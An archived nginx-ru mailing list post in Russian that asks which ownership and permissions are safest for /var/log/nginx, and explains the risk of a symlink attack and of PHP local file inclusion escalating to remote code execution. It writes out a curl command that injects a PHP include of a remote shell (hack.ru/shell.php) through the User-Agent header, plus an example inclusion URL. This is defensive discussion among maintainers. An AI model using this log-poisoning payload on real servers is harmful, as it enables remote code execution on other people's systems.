ПРОЕКТЫ 


  АРХИВ 


Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 


  СТАТЬИ 


  ПЕРСОНАЛЬНОЕ 


  ПРОГРАММЫ 



ПИШИТЕ
ПИСЬМА












     АРХИВ :: nginx-ru
Nginx-ru mailing list archive (nginx-ru@sysoev.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

/var/log/nginx


  • To: nginx-ru@xxxxxxxxx
  • Subject: /var/log/nginx
  • From: Gena Makhomed <gmm@xxxxxxxxx>
  • Date: Tue, 14 Dec 2010 20:05:34 +0200
  • Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=csdoc.com; s=dkim; t=1292349935; bh=0PIF9ResmWnKbgqDV4/1zqQK8RDzFutwd8hLFLtUEqA=; h=Message-ID:Date:From:MIME-Version:To:Subject:Content-Type: Content-Transfer-Encoding; b=EqBiZ/89d8Y+KAvebBkSeNYMe4qy8OEkzXrxEmRTOKtqNbU1ZQ6bFSg2PpJHCOecD xhEfAmIJC1sBMCf+Ke7+g8QEOzQiFhZPLTMO2XjZwK3HAihMZjUOZRqg9uaDcjk8Xp oodFeUH7OplRyJ95Ck73huIO4D5PcEAel7A7vHJE=

Здравствуйте!

есть небольшие проблемы с /var/log/nginx

1. если владелец этого каталога nginx:nginx,
и права доступа 0700 - такая установка будет уязвима
к symlink attack, потому что лог-файлы в этом каталоге
master-процесс открывает на запись при запуске nginx
и он не делает никаких проверок symlink это или нет.

2. если владелец этого каталога root:root,
и права доступа 0755 - такая установка будет уязвима
к атаке "php local file inclusion vulnerability
elevation to remote code execution":

# curl -A "<? include 'http://hack.ru/shell.php'; ?>" http://t/

# tail -n 1 /var/log/nginx/access.log
10.10.10.10 - - [14/Dec/2010:19:34:24 +0200] "GET / HTTP/1.1" 200 15777 "-" "<? include 'http://hack.ru/shell.php' ?>"

и если запущенный на хосте PHP можно каким-то путем заставить сделать
include этого локального файла - выполнится код с удаленного сайта.
например, http://site.ru/index.php?file=/var/log/nginx/access.log

код "<? include 'http://hack.ru/shell.php' ?>"  приведен только
для примера, на самом деле, там может быть любой php-код, который
будет работать даже в случае если параметр allow_url_fopen = Off

3. если владелец этого каталога root:nginx,
и права доступа 0750 - на первый взгляд всё нормально,
однако если php-fastcgi входит в группу nginx,
или пользователь httpd входит в группу nginx,
то будет тот же результат, что и в п.2 - так что
это решение можно назвать ненадежным и частичным.

=========================================================================

хотелось бы услышать советы / рекомендации автора и разработчиков nginx
как именно лучше всего будет поступить maintainer`ам в этой ситуации:

- выставить на каталог владелец / права root:nginx 0750
и смириться с тем, что это решение не является 100%-ым,
потому что одновременно надо чтобы слишком много условий
совпало для того чтобы получить vulnerability elevation.

- пропатчить nginx чтобы master-процесс не открывал на запись файлы,
если это на самом деле symlink`и, чтобы устранить его восприимчивость
к symlink attack в этом случае и во всех остальных подобных случаях.
(если это symlink и файл надо открыть на запись - тогда unlink symlink)

- или какой-то другой вариант решения, чтобы получить 100% надежность.

--
Best regards,
 Gena


_______________________________________________
nginx-ru mailing list
nginx-ru@xxxxxxxxx
http://nginx.org/mailman/listinfo/nginx-ru


 




Copyright © Lexa Software, 1996-2009.